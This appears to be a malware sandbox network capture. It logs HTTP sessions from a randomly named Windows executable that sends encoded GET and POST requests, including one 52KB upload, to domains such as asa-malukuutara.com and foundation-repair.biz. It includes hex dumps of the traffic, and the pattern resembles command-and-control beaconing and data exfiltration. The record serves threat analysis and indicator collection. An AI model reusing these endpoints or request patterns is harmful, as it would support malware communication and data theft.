Aug 27, 2024 07:58:02.327053070 CEST	555	OUT	GET /enra/?wXB=brv4Erb&ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ= HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 07:58:02.430035114 CEST	1200	IN	HTTP/1.1 200 OK date: Tue, 27 Aug 2024 05:58:01 GMT content-type: text/html; charset=utf-8 content-length: 1478 x-request-id: 58a53c6f-ee4c-4d7c-b6e5-be9123508806 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Im6T6/pqCTudfemr3/Ry3QOMsMpidAGuIZS152vKDAPS35jIwkuAAyjevEKaV89FkqL+9D93AJ/s2twwhb4hMA== set-cookie: parking_session=58a53c6f-ee4c-4d7c-b6e5-be9123508806; expires=Tue, 27 Aug 2024 06:13:02 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 49 6d 36 54 36 2f 70 71 43 54 75 64 66 65 6d 72 33 2f 52 79 33 51 4f 4d 73 4d 70 69 64 41 47 75 49 5a 53 31 35 32 76 4b 44 41 50 53 33 35 6a 49 77 6b 75 41 41 79 6a 65 76 45 4b 61 56 38 39 46 6b 71 4c 2b 39 44 39 33 41 4a 2f 73 32 74 77 77 68 62 34 68 4d 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Im6T6/pqCTudfemr3/Ry3QOMsMpidAGuIZS152vKDAPS35jIwkuAAyjevEKaV89FkqL+9D93AJ/s2twwhb4hMA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI1
Aug 27, 2024 07:58:02.430104971 CEST	967	IN	Data Raw: 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: 2P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNThhNTNjNmYtZWU0Yy00ZDdjLWI2ZTUtYmU5MTIzNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49842	103.247.8.53	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:24.452451944 CEST	835	OUT	POST /21hf/ HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.asa-malukuutara.com Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.asa-malukuutara.com/21hf/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 58 37 4c 61 69 54 6b 6b 6c 53 4c 43 52 35 68 63 4b 2f 46 54 61 30 6e 76 50 71 6b 6c 63 6a 50 37 41 45 58 44 77 75 52 73 75 78 35 51 31 6e 65 71 42 58 58 68 45 4f 51 54 4d 47 58 46 61 37 4c 36 51 50 45 42 4d 6c 36 33 51 56 35 77 6b 4b 59 74 58 41 77 76 4a 5a 61 34 39 37 71 6e 50 6a 49 31 58 6d 32 55 71 6e 45 31 4c 75 6a 34 56 66 54 55 68 48 6b 7a 61 50 72 42 37 4b 46 56 76 67 64 6f 7a 68 2b 67 6f 77 39 63 54 59 76 5a 53 5a 5a 31 34 62 69 73 2b 6c 62 62 49 33 51 77 78 68 5a 32 36 46 42 4c 35 43 49 70 6d 44 4f 4f 79 75 65 4e 35 56 77 4f 41 3d 3d Data Ascii: ij60MtY=k3lrS/T5T2y61X7LaiTkklSLCR5hcK/FTa0nvPqklcjP7AEXDwuRsux5Q1neqBXXhEOQTMGXFa7L6QPEBMl63QV5wkKYtXAwvJZa497qnPjI1Xm2UqnE1Luj4VfTUhHkzaPrB7KFVvgdozh+gow9cTYvZSZZ14bis+lbbI3QwxhZ26FBL5CIpmDOOyueN5VwOA==
Aug 27, 2024 07:58:24.993861914 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:58:24 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 12523 Content-Type: text/html; charset=UTF-8 Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb [TRUNCATED] Data Ascii: SAI?TM\|\|}grz+ "Cw^\LoK"9dage^=$y$,zd{`,blpyza7 J1LkDDE@M{c`Fy1AU"fBbC) u[9WDb]kWHwsOBoPsYXE]SWK`[\|L,A:$4./S=p,;<{I^Z4Cz[b/=SUS<(2i\!o);nb@.b~#D "fynmn)t<u4&{i)D<"aEOa&/\|AQ"v8Giv~mo2j8Oyv)\|q1tJW~JYr^h'q0)r}om8%0O{]{$m\|yWh"O-?O{U;^-/i<N+x}';)Z$vu:`w}'%/\|$Uof;R^l?LlBj5TM?Ow?qX+Q2mEO&cFOy:TeK[Cko.r%+6[ZMtAmMo(KM9&A-]\w-"\ftS\4N
Aug 27, 2024 07:58:24.993967056 CEST	1289	IN	Data Raw: b4 fa 6e 9b 21 3c 61 29 88 9c bf fb 16 2a c6 88 ad d0 ac 3f d0 b5 6a 0d ba aa c4 fc cd fb 2d fc ab b7 af da ea 22 53 1f eb 7e d0 37 37 aa 43 0a cf 71 71 e1 ae 06 8b 7e 29 d3 a3 5f b7 db e6 3f be 2f ac 51 a0 72 5d 96 48 38 2e 8c a2 90 a0 d2 3c 05 Data Ascii: n!<a)?j-"S~77Cqq~)_?/Qr]H8.<a[^n\|"nVo-%u}+I_&t\|? Wsp;kT8'z"t8y\|UZ\|K+M<kVS9F`_QqZ
Aug 27, 2024 07:58:24.994029999 CEST	1289	IN	Data Raw: 2c 40 4a 57 cf 03 75 e0 af 74 09 15 aa 70 f7 f9 74 de 2a e7 a9 24 d0 35 12 dd af 4d 31 22 dc d6 56 44 7b 53 b2 02 ee bd f6 c1 e2 8b 10 6c 19 b1 34 8f 4f 39 e3 d1 b2 4d 58 1a 45 f4 f0 59 40 30 29 52 5c 98 a5 70 7a 6d f7 39 e3 f1 49 b0 2c ca fe 10 Data Ascii: ,@JWutpt$5M1"VD{Sl4O9MXEY@0)R\pzm9I,m2.=2hmbO7:ekX,K/K9\|WcE,x"9A^So'9/?S~r}O+]-J""!dCwt%kwBvJo.cp=1i
Aug 27, 2024 07:58:24.994126081 CEST	1289	IN	Data Raw: 91 48 45 f0 a0 42 30 f7 87 85 a8 10 ee 13 87 74 4b 53 53 d3 4e 5b 2a 1b 1c c3 cb 60 6f 86 08 37 30 c9 bd 5a c3 f0 40 e7 93 0b 12 f3 82 37 97 93 0b 0e f3 a2 d1 01 a7 10 58 aa ce db f1 f8 c6 59 2c 0e 48 47 e7 48 aa 3b 45 98 ac 9b dc fe 7d b7 95 fd Data Ascii: HEB0tKSSN[*`o70Z@7XY,HGH;E}vLj[)+qIl={l]J,3OLT5M/mO;Q$Ga-40OgqI#)]L>9.cE5N0g3u~uzf}Z0fRs3VK:
Aug 27, 2024 07:58:24.994276047 CEST	1289	IN	Data Raw: 5d 3a 8d a3 8b 54 e1 4f a8 be 8d f5 46 78 3d 65 b0 e6 69 5d c0 75 b6 69 ea 4d e2 02 93 84 42 2f ae 1b 46 85 8f 9e d6 05 5c e7 ba 11 db 9a bf 41 41 01 22 67 a0 f0 d1 d3 a4 80 eb e5 26 11 da 9d 60 e5 02 36 45 b4 1c 3a a2 c1 c1 ec be 9b 65 d6 e5 f1 Data Ascii: ]:TOFx=ei]uiMB/F\AA"g&`6E:eyfi4A^ew18@j4]FDZ<<Q_NNlG*,wK5R"H[$$Y39-Zm:DARr"r^=8<'"_p97o%ID+V&w!
Aug 27, 2024 07:58:24.994395971 CEST	1289	IN	Data Raw: bc 58 8c 8d cf 01 c2 81 e5 92 d6 1b ca bc 3a 31 48 af c2 6d 32 51 b2 0a 1b 84 58 48 40 0d ca f7 23 ad 3c d7 3a c7 14 f6 db 38 14 b8 0b bc 0f 08 8c f7 ed 70 d2 58 b0 b6 83 e4 ef 80 9d 1a 22 d0 68 2a 58 8d 80 c9 16 c6 8b 3d a8 c6 5a d3 f1 62 0d b7 Data Ascii: X:1Hm2QXH@#<:8pX"hX=Zb1uaB"Pc>`p!Qpo!W-Kl0k #l-Kz7zW1.V<kS+usl-"Uze6dTDFv.).96H+]A
Aug 27, 2024 07:58:24.994467974 CEST	1289	IN	Data Raw: 8b 97 6b 5e 67 c7 33 68 fa 18 1e da fe 14 c7 df dd 6e cd 66 42 96 37 09 ce 9d cb a7 90 61 2d 4d 6c a7 ec 7c f4 f0 d2 5c 35 e6 af cc 72 eb 84 fa af 21 dc 08 64 2f a3 41 a7 ef 92 ed 41 fb 6b b7 96 d7 b9 2b 70 6b dc ad 37 17 77 d2 45 f0 4c 36 bc 26 Data Ascii: k^g3hnfB7a-Ml\|\5r!d/AAk+pk7wEL6&YFL}T8OmLwb1%T6nc"].nyt:jq`\|?$%5n9=kFq>fKe_jo2C+yaYnchj&~\|G7/>y\[
Aug 27, 2024 07:58:24.994529963 CEST	1289	IN	Data Raw: 13 39 5d 31 e8 6d 00 7f e7 2f 5f f2 76 f3 be b8 6b 6e 24 7e 34 78 e6 3e 28 62 19 94 b7 04 cd 40 bb 07 dc b5 af 99 f1 b9 e2 95 f4 76 76 56 79 6d c0 ba 62 31 23 fb a9 79 4f fa 6a 54 0d 86 c2 6f db 21 15 e1 e9 e7 81 be b8 be 23 21 ac 0b 7c 5c fc da Data Ascii: 9]1m/_vkn$~4x>(b@vvVymb1#yOjTo!#!\|\#ICZzY~=yPtykA}/GJw$5F3"E?8t6bQv3x\o4,*v#+8c
Aug 27, 2024 07:58:24.994599104 CEST	1289	IN	Data Raw: fd 18 a7 89 02 53 4a 07 7b 45 08 55 9d 08 da 13 5e af a4 43 b7 44 04 d9 be d5 77 5e 1c 94 29 a8 40 88 20 80 a3 cf cb 0b 42 05 fa a2 bb 23 9a 16 2b c1 5b 10 99 91 bd 72 b2 9c 0c 56 48 ca 14 06 47 80 2e 83 83 5d 3e 45 69 e8 cd 59 af 9b e2 54 58 47 Data Ascii: SJ{EU^CDw^)@ B#+[rVHG.]>EiYTXG}}R\4cqkw'A_[;[$*&T}.si#jsvHS>~YV)(f)L?B1e,(\6WPc^2
Aug 27, 2024 07:58:24.994702101 CEST	1289	IN	Data Raw: 02 f8 b3 6f 4d 5d 52 a2 10 ab 38 7a 61 f4 be ef c6 d4 dc 29 70 95 00 24 df 73 55 7b f8 f1 f3 3e 61 b6 bc ef 8a 2e ff 63 3d f6 b5 51 ed 72 27 46 5e be 61 63 8a 8b 0c be 8c 4c 7a 97 44 55 20 05 15 7e 67 a0 a4 7c e0 43 e7 3e 34 d8 d9 1d 99 da f7 b3 Data Ascii: oM]R8za)p$sU{>a.c=Qr'F^acLzDU ~g\|C>4cfk3y}oz?rj)!clTv@K ~Nnj\1J$?YGP{HU>Q]iQhgLQl%IBj%nXyS'(
Aug 27, 2024 07:58:24.994793892 CEST	30	IN	Data Raw: a1 be 75 d3 7d 3c 4c 53 59 0a 06 e7 50 d9 ec 65 29 be 2c 4d 51 49 67 16 88 cc d9 27 88 e6 Data Ascii: u}<LSYPe),MQIg'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49843	103.247.8.53	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:27.337610006 CEST	1175	OUT	POST /21hf/ HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.asa-malukuutara.com Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.asa-malukuutara.com/21hf/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 32 4c 4c 57 68 72 6b 30 31 53 49 4e 78 35 68 57 71 2f 4a 54 61 34 6e 76 4f 65 30 6c 71 4c 50 31 46 67 58 41 7a 32 52 76 75 78 35 4a 46 6e 66 67 68 58 4d 68 45 7a 74 54 4d 4b 58 46 62 66 4c 35 43 33 45 4a 63 6c 31 39 77 56 36 33 6b 4b 5a 70 58 41 36 76 4a 55 31 34 38 2f 71 6e 2f 66 49 30 54 65 32 52 2b 7a 62 34 4c 76 6d 2b 56 66 53 65 42 48 55 7a 61 7a 6a 42 2f 4b 56 56 64 38 64 6f 53 42 2b 68 6f 77 69 46 7a 59 6b 52 79 59 63 6c 35 4b 4c 6c 74 39 6e 53 61 76 58 31 54 74 53 79 61 64 43 54 62 32 57 37 47 50 6a 58 6a 6a 78 4e 36 45 55 4e 6b 4c 61 57 56 54 75 70 66 46 72 74 6f 56 6d 70 78 36 77 62 33 59 49 47 4c 61 6c 48 77 4c 41 6d 74 47 65 43 56 55 61 74 42 61 79 76 31 72 70 4b 41 69 57 49 6d 47 65 43 73 67 5a 4e 77 70 78 75 75 56 59 70 64 52 6c 4c 44 47 7a 77 7a 48 66 71 75 61 5a 4f 35 4b 4b 50 61 69 72 35 55 5a 46 32 33 61 77 52 61 64 56 44 59 78 77 39 37 37 36 30 64 71 76 54 61 73 52 4d 6b 49 48 55 2f 41 59 79 58 6f 4f 4a 50 78 4c 4a 34 [TRUNCATED] Data Ascii: ij60MtY=k3lrS/T5T2y612LLWhrk01SINx5hWq/JTa4nvOe0lqLP1FgXAz2Rvux5JFnfghXMhEztTMKXFbfL5C3EJcl19wV63kKZpXA6vJU148/qn/fI0Te2R+zb4Lvm+VfSeBHUzazjB/KVVd8doSB+howiFzYkRyYcl5KLlt9nSavX1TtSyadCTb2W7GPjXjjxN6EUNkLaWVTupfFrtoVmpx6wb3YIGLalHwLAmtGeCVUatBayv1rpKAiWImGeCsgZNwpxuuVYpdRlLDGzwzHfquaZO5KKPair5UZF23awRadVDYxw97760dqvTasRMkIHU/AYyXoOJPxLJ4vYyBmYBoCS0ikqOt4o7y9FZU/C5m5HQbeJU0f60bBxL5tRmNqK8kswXGyFUjPKp3TW4byKGoUqK1a4wqb+SmXQUy1Ir8HBiWYMdfbnVpKgPuf7PMCM1Hi5ckmHOiqUJJMjCgo8XQ+0a6mqZNWvyvEJ3Bk4LPMOBBKv26s0X8cMwgMJgxK+SfI5Z4VnrlVpdUBfvmcxPIhniCo=
Aug 27, 2024 07:58:28.598814964 CEST	30	IN	Data Raw: a1 be 75 d3 7d 3c 4c 53 59 0a 06 e7 50 d9 ec 65 29 be 2c 4d 51 49 67 16 88 cc d9 27 88 e6 Data Ascii: u}<LSYPe),MQIg'
Aug 27, 2024 07:58:29.685707092 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:58:27 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 12523 Content-Type: text/html; charset=UTF-8 Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb [TRUNCATED] Data Ascii: SAI?TM\|\|}grz+ "Cw^\LoK"9dage^=$y$,zd{`,blpyza7 J1LkDDE@M{c`Fy1AU"fBbC) u[9WDb]kWHwsOBoPsYXE]SWK`[\|L,A:$4./S=p,;<{I^Z4Cz[b/=SUS<(2i\!o);nb@.b~#D "fynmn)t<u4&{i)D<"aEOa&/\|AQ"v8Giv~mo2j8Oyv)\|q1tJW~JYr^h'q0)r}om8%0O{]{$m\|yWh"O-?O{U;^-/i<N+x}';)Z$vu:`w}'%/\|$Uof;R^l?LlBj5TM?Ow?qX+Q2mEO&cFOy:TeK[Cko.r%+6[ZMtAmMo(KM9&A-]\w-"\ftS\4N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49844	103.247.8.53	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:30.216247082 CEST	2578	OUT	POST /21hf/ HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.asa-malukuutara.com Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.asa-malukuutara.com/21hf/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 32 4c 4c 57 68 72 6b 30 31 53 49 4e 78 35 68 57 71 2f 4a 54 61 34 6e 76 4f 65 30 6c 71 44 50 31 7a 73 58 41 53 32 52 75 75 78 35 42 6c 6e 43 67 68 57 4f 68 45 62 70 54 4d 57 74 46 5a 58 4c 35 78 2f 45 4b 75 4e 31 36 77 56 2f 34 45 4b 58 74 58 41 75 76 4a 59 70 34 38 37 36 6e 50 37 49 31 54 75 32 56 4d 62 45 67 4c 75 6a 2b 56 66 57 4a 78 48 63 7a 61 48 4a 42 36 53 56 56 66 49 64 70 68 35 2b 6d 2f 63 69 64 54 59 72 49 69 59 74 2b 4a 4b 71 6c 74 35 5a 53 61 76 74 31 53 5a 53 79 5a 56 43 42 4b 32 52 37 6d 50 6a 49 54 6a 79 47 61 49 75 4e 6b 48 43 57 56 50 75 70 66 74 72 73 49 56 6d 69 77 36 7a 62 58 59 4f 43 4c 62 7a 44 77 48 59 6d 74 36 4b 43 55 41 61 74 56 79 79 73 69 2f 70 46 45 4f 57 55 32 47 59 4d 4d 67 47 48 51 70 74 75 74 73 37 70 64 78 54 4c 41 4b 7a 69 42 50 66 38 61 4f 59 4a 5a 4b 45 44 36 69 6c 76 6b 56 4a 32 33 4c 78 52 61 63 59 44 5a 31 77 2b 4c 4c 36 7a 76 43 73 51 4b 74 58 45 45 4a 48 65 66 4d 47 79 58 30 77 4a 4d 68 62 4a 2f [TRUNCATED] Data Ascii: ij60MtY=k3lrS/T5T2y612LLWhrk01SINx5hWq/JTa4nvOe0lqDP1zsXAS2Ruux5BlnCghWOhEbpTMWtFZXL5x/EKuN16wV/4EKXtXAuvJYp4876nP7I1Tu2VMbEgLuj+VfWJxHczaHJB6SVVfIdph5+m/cidTYrIiYt+JKqlt5ZSavt1SZSyZVCBK2R7mPjITjyGaIuNkHCWVPupftrsIVmiw6zbXYOCLbzDwHYmt6KCUAatVyysi/pFEOWU2GYMMgGHQptuts7pdxTLAKziBPf8aOYJZKED6ilvkVJ23LxRacYDZ1w+LL6zvCsQKtXEEJHefMGyX0wJMhbJ/3YyhmYELaT8SliHN42/y9SZT2r5kUyQoKJVEP6l7ByNZtN/dqIuUswXG+3UjzKqG7WiIaKA+cqM1bSwqaiSjOgUy8pr82qiS8McNjnUoKjE+f+d8CbxHv/ckqcOhCEcrIjDg48TQ+7KqmheNW5lfY83BooLP5DBG2v28l1SNQNpTFFnwyKRusxTZZCm151Tjh/nkAiKr5812UkaenMud1ARxWZlXeEnqFIE42eXR55cLW++m5NiT6xwxElCiWnNlczAgMgVtLlpYEzhNr5f8et+3cefPgMYr6VBK5EPodiAahri0+Dwc934bjgQvjJbU2wyE8AAPrYHdXNIl4snL+zPvXG2xi3m9XuBHYDRjHRX4m70o6xXiNY+Gwd8BNfF/ilgw1rtMiIeBuJUPIxBiYh/IESgERhv+ENq7ALg/Tnxq9WZBuNjHkadWTsGjuR3wJU6oZVeMJoDuoKOodiIi/+rHkxTl8eVd13CM84R6TjX3w/PKacgUntRli2gNXHsB2tmddwqaC6ri442VU5XhoQOsgCruOtDE1Gg09YCX7dsCihxfVwF+bkxULSCilSgY+6fNGXnUe5OsKJUzY0bSczUz5sCoUytuf93qtvqzI93veJcvHg9c/vW79CWOPKv+FxcK7sdnZv0m61IVhTwtZ1GwsovHN+2i2/ [TRUNCATED]
Aug 27, 2024 07:58:30.216377020 CEST	10312	OUT	Data Raw: 32 68 6a 37 66 41 4b 67 4d 4e 63 71 35 36 52 79 72 35 77 4f 73 52 77 6d 34 71 58 49 6a 2f 55 71 49 48 64 5a 44 6d 52 65 35 6c 64 55 4e 46 44 43 36 4b 50 69 70 79 31 71 6d 62 4e 43 30 64 2b 70 30 7a 30 52 50 53 58 68 74 4e 63 51 53 41 42 69 54 32 Data Ascii: 2hj7fAKgMNcq56Ryr5wOsRwm4qXIj/UqIHdZDmRe5ldUNFDC6KPipy1qmbNC0d+p0z0RPSXhtNcQSABiT2qsmMe5mIp2u6T5hDnHdFvCBAx+8nXHwAecn2tFovnDfqdDEibzQlB8Qrj9JA/kLFYpj95UqoPFFv5goDo1TOWaLui+Bp3635oBPVVlqUnQRMo/OvSjVFrBnu39R5kuXo3fBRRm0B3w4VSXAgNzuGPkShAVeqoxs0d
Aug 27, 2024 07:58:30.561454058 CEST	2578	OUT	Data Raw: 45 6f 4a 38 72 32 76 69 65 5a 70 73 75 45 6f 48 33 38 4d 4f 58 67 61 79 44 33 54 4b 31 43 52 6c 6b 38 56 48 43 6f 65 45 42 6e 61 4a 55 2f 64 2f 6c 59 43 73 47 52 71 75 30 50 6b 72 61 54 33 67 68 6d 54 6a 2b 79 37 75 6b 50 64 4b 4f 78 47 64 45 54 Data Ascii: EoJ8r2vieZpsuEoH38MOXgayD3TK1CRlk8VHCoeEBnaJU/d/lYCsGRqu0PkraT3ghmTj+y7ukPdKOxGdETZHwMR60ARKUytHB+Hfp4MlM6+zj81pEZloqg3mioKAyHjQXHkADTF0mfnybDtfUROxpuSu/O1FWCsDZKk09FAd7a8xbXrsrZmGE5fQNNO/hJNGEkHAmTN0pZY6bPYGFdBsfi/FHE6BoxgZCKv+LuqxD/aQDALA5u6
